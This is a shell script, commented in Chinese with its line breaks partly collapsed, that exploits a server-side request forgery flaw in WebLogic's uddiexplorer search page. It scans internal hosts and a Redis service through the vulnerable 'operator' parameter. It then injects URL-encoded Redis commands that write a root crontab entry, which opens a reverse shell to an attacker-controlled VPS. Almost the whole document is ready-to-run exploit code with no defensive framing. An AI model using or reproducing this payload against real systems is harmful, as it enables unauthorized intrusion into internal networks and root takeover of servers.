HOST=; PORT=7001# TARGET HOST INFOVULN_ENDPOINT=uddiexplorer/SearchPublicRegistries.jspVULN_BASE_URL=http://$HOST:$PORT/$VULN_ENDPOINTVULN_PARAM="rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"# 构造不存在的主机INTRANET_HOST=http://127.0.0.1:65000FULL_VULN_PARAM=$VULN_PARAM\&operator=$INTRANET_HOSTPAYLOAD=$VULN_BASE_URL?$FULL_VULN_PARAMcurl-s $PAYLOAD |grep"An error has occurred"-A1# 包含 could not connect over HTTP to server 字段则代表没有成功请求 HTTP 服务# 构造存在的 HTTP 主机INTRANET_HOST=http://127.0.0.1:7001FULL_VULN_PARAM=$VULN_PARAM\&operator=$INTRANET_HOSTPAYLOAD=$VULN_BASE_URL?$FULL_VULN_PARAMcurl-s $PAYLOAD |grep"An error has occurred"-A1# 未包含 could not connect over HTTP to server 字段则包含代表成功请求 HTTP 服务# 构造存在的 Redis 主机INTRANET_REDIS_HOST=http://192.168.0.2:6379FULL_VULN_PARAM=$VULN_PARAM\&operator=$INTRANET_REDIS_HOSTPAYLOAD=$VULN_BASE_URL?$FULL_VULN_PARAMcurl-s $PAYLOAD |grep"An error has occurred"-A1# 如果请求到的主机的非 HTTP 协议，将会返回 did not have a valid SOAP content-type# 利用 Redis 反弹 ShellVPS_HOST=; VPS_PORT=6789; # VPS INFOINTRANET_REDIS_HOST=http://192.168.0.2:6379INTRANET_REDIS_HOST_PAYLOAD=$INTRANET_REDIS_HOST"/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$VPS_HOST%2F$VPS_PORT%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa"
FULL_VULN_PARAM=$VULN_PARAM\&operator=$INTRANET_REDIS_HOST_PAYLOADPAYLOAD=$VULN_BASE_URL?$FULL_VULN_PARAMcurl $PAYLOAD
